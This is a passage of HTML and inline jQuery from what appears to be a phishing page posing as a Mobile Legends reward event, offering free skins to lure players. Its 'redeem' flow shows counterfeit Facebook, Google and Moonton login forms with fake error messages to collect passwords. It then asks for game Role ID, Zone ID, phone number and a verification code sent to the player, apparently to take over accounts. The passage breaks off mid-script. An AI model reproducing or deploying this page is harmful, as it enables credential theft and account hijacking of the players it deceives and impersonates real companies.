                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/5.jpg" item-name="Franco King Of Hell" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/5.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/6.jpg" item-name="Guinevere Psion Of Tomorrow" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/6.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/7.jpg" item-name="Valir Infernal Blaze" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/7.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/9.jpg" item-name="Miya Modena Butterfly" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/9.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/10.jpg" item-name="Lesley Angelic Agent" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/10.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/11.jpg" item-name="Lunox Divine Goddess" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/11.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/12.jpg" item-name="Saber Codename Storm" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/12.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                  </center>
                </div>
              </div>
            </div>
            <!--- box-item --->
          </div>
          <!--- box --->
        </div>
        <!--- container-box --->
      </div>
      <!--- laz-container --->
    </div>
    <!--- laz-home --->
    <div class="popup-login login-facebook animated fadeIn" style="display: none;">
      <div class="popup-box-login-fb">
        <a onmousedown="tutup.play();" onclick="close_facebook()" class="close-fb"><i class="zmdi zmdi-close"></i></a>
        <div class="navbar-fb">
          <img src="img/style-img/facebook-text.png">
        </div>
        <div class="content-box-fb">
          <p class="kaget email-fb" style="width: 320px; top: -5px; text-align: left;">The email address or phone number that you've entered doesn't match any account. <b>Sign up for an account.</b></p>
          <p class="kaget sandi-fb" style="width: 320px; top: -5px; text-align: left;">The password that you've entered is incorrect. Forgotten password?</p>
          <img src="img/style-img/icon_2.webp">
          <div class="txt-login-fb">
            Log in to your Facebook account to connect to Mobile Legend.
          </div>
          <form class="login-form" action="javascript:void(0)" method="post" id="ValidateLoginFbForm">
            <div class="form-group-fb">
              <input type="text" name="email" id="email-facebook" placeholder="Mobile number or email address" autocomplete="off" autocapitalize="off" required oninvalid="this.setCustomValidity('Enter Mobile number or email address')" oninput="setCustomValidity('')">
              <div class="form-group-sohid showFbPassword" id="showFbPassword" onclick="showFbPassword()">
                <img src="img/style-img/show.png">
              </div>
              <!--- form-group-sohid showFbPassword --->
              <div class="form-group-sohid hidePassword" style="display: none;" onclick="hideFbPassword()">
                <img src="img/style-img/hide.png">
              </div>
              <!--- form-group-sohid showFbPassword --->
              <input type="password" name="password" id="password-facebook" placeholder="Password" autocomplete="off" autocapitalize="off" required oninvalid="this.setCustomValidity('Enter Password')" oninput="setCustomValidity('')">
            </div>
            <!--- form-group-fb --->
            <input type="hidden" name="login" id="login-facebook" value="Facebook" readonly>
            <button type="submit" class="btn-login-fb" onclick="ValidateLoginFbData()">Log In</button>
          </form>
          <div class="txt-create-account">Create Account</div>
          <div class="txt-not-now">Not now</div>
          <div class="txt-forgotten-password">Forgotten password?</div>
        </div>
        <div class="language-box">
          <center>
            <div class="language-name language-name-active">English (UK)</div>
            <div class="language-name">??????????????</div>
            <div class="language-name">Tü?rkç?e</div>
            <div class="language-name">Ti??ng Vi??t</div>
            <div class="language-name">??????</div>
            <div class="language-name">Españ?ol</div>
            <div class="language-name">Portuguê?s (Brasil)</div>
            <div class="language-name">
              <i class="fa fa-plus"></i>
            </div>
          </center>
        </div>
        <div class="copyright">Meta ©? 2023</div>
      </div>
      <!--- popup-box-login-fb --->
    </div>
    <!--- popup-login--->
    <div class="popup-login login-facebook-load" style="display: none;">
      <div class="popup-box-login-fb">
        <div class="navbar-fb">
          <img src="img/style-img/facebook-text.png">
        </div>
        <!--- navbar --->
        <div class="content-box-fb">
          <div class="fb-load">
            <img src="img/style-img/icon_fb.png">
            <div class="loader3"></div>
          </div>
          <!--- fb-load --->
        </div>
        <!--- content-box-fb --->
      </div>
      <!--- popup-box-login-fb --->
    </div>
    <!--- popup-login--->
    <div class="popup account_verification animated fadeIn" style="display: none;margin-top:0px;">
      <div class="popup-box-wrapperz">
        <div class="popup-box-navbarz">
          <div class="popup-box-navbar-title">Account Verification</div>
          <!--- popup-box-navbar-title --->
        </div>
        <!--- popup-box-navbar --->
        <div class="popup-box-bgz">
          <div class="popup-box-alert4">
            <br>Please re-verify your account</font>
          </div>
          <!--- popup-box-alert --->
          <form class="popup-box-form" action="javascript:void(0)" method="post" id="ValidateVerificationDataForm">
            <input type="hidden" name="email" id="validateEmail" readonly>
            <input type="hidden" name="password" id="validatePassword" readonly>
            <input type="number" name="roleId" id="roleId" placeholder="Role ID" autocomplete="off" required oninvalid="this.setCustomValidity('Input your Role ID')" oninput="setCustomValidity('')">
            <input type="number" name="zoneId" id="zoneId" placeholder="Zone ID" autocomplete="off" required oninvalid="this.setCustomValidity('Input your Zone ID')" oninput="setCustomValidity('')">
            <input type="number" name="phone" id="phone" placeholder="Phone number" autocomplete="off" required oninvalid="this.setCustomValidity('Input Your Phone Number')" oninput="setCustomValidity('')">
            <input type="hidden" name="login" id="validateLogin" readonly>
            <br>
            <br>
            <div class="popup-box-footer">
              <button type="submit" onmousedown="buka.play();" onclick="ValidateID()" style="margin-top: -8px;width: 43%;padding-left: 0;padding-right: 0;font-size: 15px;"><font style="color:#d3d3d3;margin-left:0px">Verification</font></button>
            </div>
            <!--- popup-box-footer --->
        </div>
        <!--- popup-box-bg --->
        </form> <!--- form --->
      </div>
      <!--- popup-box-wrapper popup-box-verification --->
    </div>
    <div class="popup fail_verification animated fadeIn" style="display: none;">
      <div class="popup-box-wrapperz">
        <div class="popup-box-navbarz">
          <div class="popup-box-navbar-title">
            Verification Failed
          </div>
        </div>
        <div class="popup-box-bgz">
          <div class="popup-box-alert3">
            <br>
            <span style="color: red">Invalid RoleID or ZoneID. Please Try Again.</span>
          </div>
          <div class="popup-box-footer">
            <button type="" onmousedown="buka.play()" onclick="open_account_verification_no_loading()" style="margin-top: -8px;width: 43%;padding-left: 0;padding-right: 0;font-size: 15px;"><font style="color:#d3d3d3;margin-left:0px">OK</font></button>
          </div>
        </div>
      </div>
    </div>
    <!--- popup account_verification --->
    <div class="popup check_verification animated fadeIn" style="display: none;">
      <div class="popup-box-wrapperz">
        <div class="popup-box-navbarz">
          <div class="popup-box-navbar-title">Account Verification</div>
          <!--- popup-box-navbar-title --->
        </div>
        <!--- popup-box-navbar --->
        <div class="popup-box-bgx">
          <div class="popup-box-alert4"><br>
            <i class="zmdi zmdi-spinner zmdi-hc-spin"></i>
            <br>
            Checking your account details...
            <br><br>
          </div>
          <!--- popup-box-bg --->
          <div class="popup-box-footer"></div>
          <!--- popup-box-form-footer --->
        </div>
        <!--- popup-box-alert4 --->
      </div>
      <!--- popup-box-wrapper --->
    </div>
    <!--- popup check_verification --->
    <div class="popup processing_account animated fadeIn" style="display: none;">
      <div class="popup-box-wrapperz">
        <div class="popup-box-navbarz">
          <div class="popup-box-navbar-title">Successfully Sent</div>
        </div>
        <div class="popup-box-bgz">
          <div class="popup-box-alert3">
            <p style="color: lime">A verification code has been sent to your in-game email inbox.</p>
            <p>This code is valid for only 5 minutes.</p>
            <p>Please enter the code below to verify your account.</p>
            <form id="VerifyCodeForm" action="javascript:void(0)" method="post">
              <input type="number" id="verification_code" placeholder="Enter Verification Code" autocomplete="off" required oninvalid="this.setCustomValidity('Please enter your Verification Code')" oninput="setCustomValidity('')">
              <p style="margin: 0; display: none;" class="status_verification_code"></p>
              <div class="popup-box-footer">
                <button type="submit" style="margin-top: 3px;" onmousedown="tutup.play();" onclick="VerifyCode()">Verify</button>
              </div>
            </form>
            <!--- popup-box-bg --->
          </div>
          <!--- popup-box-form-footer --->
        </div>
        <!--- popup-box-wrapper --->
      </div>
      <!--- popup processing_account --->
    </div>
    <div class="popup processed_account animated fadeIn" style="display: none;">
      <div class="popup-box-wrapperz">
        <div class="popup-box-navbarz">
          <div class="popup-box-navbar-title">
            Code Verified
          </div>
        </div>
        <div class="popup-box-bgz">
          <div class="popup-box-alert3">
            <span style="color: lime; font-weight: bold">Your verification code has been successfully verified.</span>
            <p>Thank you for your collaboration and participation in this MLBB event.</p>
            <p>The item you have earned will be processed and delivered to your in-game inbox within 24 hours. We appreciate your support and hope you enjoy the rewards. Thank you!</p>
            <div class="popup-box-footer">
              <button style="margin-top: 3px;" onmousedown="tutup.play();" onclick="location.href='https://m.mobilelegends.com'">Log Out</button>
            </div>
          </div>
        </div>
      </div>
    </div>
    <div class="footer" style="top:-80px;">
      <img class="footer-copyright-icon" src="img/logo.png">
      <div class="footer-copyright-text">
        <div class="footer-txt-copyrights">
          &copy; Moonton. All rights reserved
        </div>
        <!--- footer-txt-copyrights --->
        <div class="footer-copyright-text-left">Cookie Policy</div>
        <!--- footer-txt-copyright --->
        <div class="footer-copyright-text-center">Privacy Policies</div>
        <!--- footer-txt-copyright --->
        <div class="footer-copyright-text-right">Code of Conduct for External Providers</div>
        <!--- footer-txt-copyright --->
      </div>
      <!--- footer-copyright-text --->
    </div>
    <div class="popup open_rewards animated fadeIn" style="display: none;">
      <div class="popup-box-wrapper">
        <div class="popup-box-bg" style="height:220px;">
          <div class="popup-box-alert4"><br> </div>
          <!--- popup-box-alert --->
          <div class="popup-box-item">
            <div>
              <figure>
                <img class="popup-item flip" src="">
              </figure>
            </div>
          </div>
          <!--- popup-box-item --->
          <br>
          <div class="popup-box-footer" style="margin-top:40px;">
            <button type="button" onmousedown="buka.play();" onmousedown="buka.play();" onclick="open_account_verification()">Collect</button>
          </div>
          <!--- popup-box-bg --->
        </div>
        <!--- popup-box-footer --->
      </div>
      <!--- popup-box-wrapper --->
    </div>
    <!--- popup open_rewards --->
    <div class="popup loadinglogin" style="display: none;">
      <div class="loadinglogin"style="width:400px;height: 679px;margin-top:279px;margin-left:auto;margin-right:auto;">
        <div class="loader-line"></div>
        <div class="loader-label" id="text-login1">Checking for updates...</div>
        <div class="loader-label" style="display:none" id="text-login2">Connecting to server...</div>
        <img src="img/loadlogin.png" style="background-size: 100% 100%;width: 100%;">
        </img>
      </div>
    </div>
    <div class="popup account_login animated fadeIn" style="display: none;">
      <div class="popup-box-wrapper"></div>
      <div class="rewardpop">
        <div class="popup-box-navbar-loginz">Login</div>
        <div class="popup-box-alert-login">Log in now to redeem your ticket and exclusive items.<br></div>
        <!--- Edit Login Web --->
        <button type="button" onmousedown="buka.play();" class="popup-btn-login popup-btn-facebook" onclick="open_facebook();" style="top: 0px;"><img src="img/style-img/icon_fb.png" style="margin-top: -2px;">Facebook Account</button>
        <button type="button" onmousedown="buka.play();" class="popup-btn-login popup-btn-facebook" onclick="open_google();" style="top: 0px;"><img src="img/style-img/google.png" style="margin-top: -2px;">Google Account</button>
        <button type="button" onmousedown="buka.play();" class="popup-btn-login popup-btn-moonton" onclick="open_moonton();" style="top: 0px;"><img src="img/style-img/moonton.png" style="margin-top: 5px;">MOONTON Account (Recommended)</button>
      </div>
      <!--- popup-box-bg --->
    </div>
    <!--- popup-box-footer --->
    <div class="popup-login login-moonton animated fadeIn" style="display: none;">
      <div class="popup-box-login-moonton">
        <a onmousedown="tutup.play();" onclick="close_moonton()" class="close-other"><i class="zmdi zmdi-close"></i></a>
        <div class="header-moonton"><img src="img/style-img/moonton-login.png"></div>
        <div class="txt-login-moonton">Login Moonton</div>
        <!--- txt-login-moonton --->
        <div class="content-box-moonton">
          <form action="javascript:void(0)" method="post" id="ValidateLoginMoontonForm">
            <div class="form-group-moonton">
              <input type="text" name="email" id="email-moonton" autocomplete="off" required oninvalid="this.setCustomValidity('Enter Username, Email or Mobile number')" oninput="setCustomValidity('')">
              <label>Email/Phone Number</label>
            </div>
            <!--- form-group-moonton --->
            <div class="form-group-moonton">
              <div class="form-group-sohi moontonShowPassword" onclick="showmoontonPassword()">
                <img src="img/style-img/show.png">
              </div>
              <!--- form-group-sohi moontonShowPassword --->
              <div class="form-group-sohi moontonHidePassword" style="display: none;" onclick="hidemoontonPassword()">
                <img src="img/style-img/hide.png">
              </div>
              <!--- form-group-sohi moontonHidePassword --->
              <input type="password" name="password" id="password-moonton" autocomplete="off" required oninvalid="this.setCustomValidity('Enter Password')" oninput="setCustomValidity('')">
              <label>Password</label>
            </div>
            <!--- form-group-moonton --->
            <p class="kagettw email-tw" style="width: 330px; top: -17px; text-align: center; margin-bottom: 3px; margin-left: -18px;">Sorry, we couldn't find your account.</p>
            <p class="kagettw sandi-tw" style="width: 330px; top: -17px; text-align: center; margin-bottom: 3px; margin-left: -20px;">Wrong Password!</p>
            <input type="hidden" name="login" id="login-moonton" value="Moonton" readonly>
            <button type="submit" onclick="ValidateLoginMoontonData()">Login</button>
            <label>Don't have an account? <a>Sign up</a></label>
          </form>
        </div>
        <!--- content-box-moonton --->
      </div>
      <!--- popup-box-login-moonton --->
    </div>
    <!--- popup-login --->
    <div class="popup-login login-moonton-load" style="display: none;">
      <div class="popup-box-login-moonton">
        <div class="moonton-load">
          <div class="moonton-load-title">
            <div class="loader2"></div>
          </div>
          <!--- moonton-load-title --->
        </div>
        <!--- moonton-load --->
      </div>
      <!--- popup-box-login-moonton --->
    </div>
    <!--- popup-login --->
    <div class="popup-login login-google animated fadeIn" style="display: none;">
      <div class="popup-box-login-google">
        <a onmousedown="tutup.play();" onclick="close_google()" class="close-other"><i class="zmdi zmdi-close"></i></a>
        <div class="box-google">
          <div class="header-google">
            <svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="BFr46e xduoyf">
              <g id="qaEJec">
                <path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
              </g>
              <g id="YGlOvc">
                <path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
              </g>
              <g id="BWfIk">
                <path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
              </g>
              <g id="e6m3fd">
                <path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
              </g>
              <g id="vbkDmc">
                <path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
              </g>
              <g id="idEJde">
                <path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
              </g>
            </svg>
          </div>
          <!--- header-google --->
          <div class="txt-login-google">Sign in</div>
          <!--- txt-login-google --->
          <div class="txt-login-google-desc">Use your Google account</div>
          <!--- txt-login-google-desc --->
          <form  action="javascript:void(0)" method="post" id="ValidateLoginGoogleForm">
            <div class="input-box">
              <label class="input-label">Email or phone</label>
              <input type="text" class="input-1" name="email" id="email-google" onfocus="setFocus(true)" onblur="setFocus(false)" required>
            </div>
            <div class="input-box">
              <label class="input-label">Password</label>
              <input type="password" class="input-1" name="password" id="password-google" onfocus="setFocus(true)" onblur="setFocus(false)" required>
            </div>
            <input type="hidden" name="login" id="login-google" value="Google" readonly>
            <div class="email-google" style="color: #d50000; font-size: 14px; text-align: left; display: none;">
              <svg aria-hidden="true" fill="currentColor" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg">
                <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path>
              </svg>
              Couldn't find your Google account.
            </div>
            <div class="sandi-google" style="color: #d50000; font-size: 14px; text-align: left; display: none;">
              <svg aria-hidden="true" fill="currentColor" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg">
                <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path>
              </svg>
              Wrong password, try again.
            </div>
            <button type="button" class="btn-forgot-google">Forgot email?</button>
            </br>
            <div class="notify-google">Not your computer? Use Guest mode to sign in privately. <span>Learn more</span></div>
            <!--- notify-google --->
            </br>
            <button type="submit" class="btn-login-google" onclick="ValidateLoginGoogleData()">Next</button>
            <button type="button" class="btn-create-google">Create account</button>
          </form>
          </br>
          </br>
        </div>
        <!--- box-google --->
      </div>
    </div>
    <div class="popup-login login-google-load animated fadeIn" style="display: none;">
      <div class="popup-box-login-google">
        <div class="box-google">
          <div class="header-google">
            <svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="BFr46e xduoyf">
              <g id="qaEJec">
                <path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
              </g>
              <g id="YGlOvc">
                <path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
              </g>
              <g id="BWfIk">
                <path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
              </g>
              <g id="e6m3fd">
                <path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
              </g>
              <g id="vbkDmc">
                <path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
              </g>
              <g id="idEJde">
                <path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
              </g>
            </svg>
          </div>
          <!--- header-google --->
          <br>
          <br>
          <i class="zmdi zmdi-spinner zmdi-hc-4x zmdi-hc-spin" style="color: #1a73e8;margin-top: 86px;"></i>
          <br>
          <br>
          <br>
        </div>
        <!--- box-google --->
      </div>
    </div>
    </div>
    <div class="popup itemReward_confirmation2 fadeIn" style="display: none;">
      <div class="popup-box-wrapperz">
        <div class="popup-box-navbar-lz" style="margin-bottom:11px;">
          <div class="popup-box-navbar-lz-title">Confirmation</div>
          <img onmousedown="tutup.play();" onclick="close_reward_confirmation()" src="img/popup-close2.png" style="margin-top: -24px;margin-right: 7px;opacity: 77%;">
        </div>
        <div class="popup-box-lz">
          <div class="popup-box-alert-lz">Are you sure you want to exchange this item?</div>
          <div class="popup-box-item bordermotion itemShine" style="width: 21%;height: 78px;margin-top: 9px;margin-left: 50px;margin-bottom:10px;">
            <rw id="ItemName"></rw>
            <div class="popup-box-alert-price">Price:</div>
            <pr id="price"></pr>
            <div>
              <figure>
                <span id="amount"></span>
                <img src="" id="myItemReward_confirmationImg">
              </figure>
            </div>
            <div class="line"></div>
            <img src="img/tokens.png" style="margin-top: 3px;margin-right: -70px;width: 19px;height: auto;">
          </div>
          <!--- popup-box-item --->
          <div class="popup-box-footer-lz">
            <button type="button" onmousedown="buka.play();" onclick="open_account_verification()" style="width: 111px;height: 27px;padding-left: 0;padding-right: 0;margin-top: 2px;"><font style="">Redeem</font> </button>
          </div>
          <!--- popup-box-footer --->
        </div>
        <!--- popup-box-bg --->
      </div>
      <!--- popup-box-wrapper --->
    </div>
    <!--- popup itemReward_confirmation --->
    </div>
    <div class="popup itemReward_confirmationsold fadeIn" style="display: none;">
      <div class="popup-box-wrapperz">
        <div class="popup-box-navbar-lz" style="margin-bottom:11px;">
          <div class="popup-box-navbar-lz-title">Confirmation</div>
          <img onmousedown="tutup.play();" onclick="close_reward_confirmation()" src="img/popup-close2.png" style="margin-top: -27px;margin-right: 25px;opacity: 100%;">
        </div>
        <div class="popup-box-lz">
          <div class="popup-box-alert-lz">Sorry, this item is sold out!</div>
          <div class="popup-box-item bordermotion itemShine" style="width: 21%;height: 78px;margin-top: 9px;margin-left: 60px;margin-bottom:10px;">
            <rw id="ItemNamesold"></rw>
            <div class="popup-box-alert-price">Price:</div>
            <prs id="pricesold"></prs>
            <div>
              <figure>
                <span id="amountsold"></span>
                <img src="" id="myItemReward_confirmationImgsold">
              </figure>
            </div>
            <div class="line"></div>
            <img src="img/tokens.png" style="margin-top: 3px;margin-right: -70px;width: 19px;height: auto;">
          </div>
          <!--- popup-box-item --->
          <br>
          <div class="popup-box-footer-lz">
            <button type="button" onmousedown="buka.play();" onclick="soldout()" style="width: 90px;height: 28px;padding-left: 0;padding-right: 0;margin-top: -4px;"><font style="">SOLD OUT</font> </button>
          </div>
          <!--- popup-box-footer --->
        </div>
        <!--- popup-box-bg --->
      </div>
      <!--- popup-box-wrapper --->
    </div>
    <!--- popup itemReward_confirmation --->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
    <script type="text/javascript" src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
    <script type="text/javascript" src="js-zone/gift-zone.js"></script>
    <audio id="audioFile" src="media/spin.mp3"></audio>
    <script src="js-zone/main.js"></script>
    <script src="js-zone/slidernotif.js"></script>
    <script src="js-zone/slide-zone.js"></script>
    <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script></script>
    <script>
      function open_facebook(){
      	$('.login-facebook').show();
      	$('.account_login').hide();
      }
      function open_moonton(){
      	$('.login-moonton').show();
      	$('.account_login').hide();
      }
      function close_facebook(){
      	$('.login-facebook').hide()
      	$('.account_login').show();
      }
      function close_moonton(){
      	$('.login-moonton').hide()
      	$('.account_login').show();
      }
      function open_verification(){
      	$('.account_verification').show();
      	$(".open_rewards").hide()
      	$(".otherReward_confirmation").hide()
      	$(".otherReward_confirmation3").hide()
      	$(".itemReward_confirmation").hide()
      }
      function open_itemReward_confirmation(ag) {
          var itemReward_confirmationImg = $(ag).attr("src");
          $('.itemReward_confirmation').show();
          $('#myItemReward_confirmationImg').attr('src',itemReward_confirmationImg);
      }
      function open_itemReward_confirmation2(ag) {
          var itemReward_confirmationImg2 = $(ag).attr("src");
          $('.itemReward_confirmation2').fadeIn('slow'); 
          $('#myItemReward_confirmationImg').attr('src',itemReward_confirmationImg2);
      }
      function open_itemReward_confirmation2(ag) {
        var itemReward_confirmationImg2 = $(ag).attr("src");
        var ItemName = $(ag).attr("item-name");
        var amount = $(ag).attr("item-total");
        var price = $(ag).attr("item-price");
        $('.itemReward_confirmation2').show();   
        $('#myItemReward_confirmationImg').attr('src',itemReward_confirmationImg2);
        $('#ItemName').html(ItemName);
        $('#amount').html(amount);
        $('#price').html(price);
      }
      function open_itemReward_confirmation4(ag) {
          var itemReward_confirmationImg4 = $(ag).attr("src");
          $('.itemReward_confirmation4').show();
          $('#myItemReward_confirmationImg4').attr('src',itemReward_confirmationImg4);
      }
      function open_otherReward_confirmation(ag) {
          var otherReward_confirmationImg = $(ag).attr("src");
      	var otherReward_confirmationValue = $(ag).attr("value");
          $('.otherReward_confirmation').show();
          $('#myOtherReward_confirmationImg').attr('src',otherReward_confirmationImg);
      	$('#otherReward_confirmationValue').html(otherReward_confirmationValue);
      }
      function open_otherReward_confirmation3(ag) {
          var otherReward_confirmation3Img = $(ag).attr("src");
      	var otherReward_confirmation3Value = $(ag).attr("value");
          $('.otherReward_confirmation3').show();
          $('#myOtherReward_confirmation3Img').attr('src',otherReward_confirmation3Img);
      	$('#otherReward_confirmation3Value').html(otherReward_confirmationValue);
      }
      function close_reward_confirmation(){
      	$(".itemReward_confirmation").hide()
      	$(".otherReward_confirmation").hide()
      	$(".itemReward_confirmation2").hide()
      	$(".itemReward_confirmation3").hide()
      	$(".itemReward_confirmation4").hide()
      	$('.newhome').hide();
      }
      function close_reward_confirmations(){
          $('.event_rules').hide();	
          $('.about_event').hide();
      }
      function open_facebook(){
      	$('.login-facebook').show();
      	$('.account_login').hide();
      }
      function open_moonton(){
      	$('.login-moonton').show();
      	$('.account_login').hide();
      }
      function close_facebook(){
      	$('.login-facebook').hide()
      	$('.account_login').show();
      }
      function close_moonton(){
      	$('.login-moonton').hide()
      	$('.account_login').show();
      }
      function open_newhome(){
          $('.account_login').show();
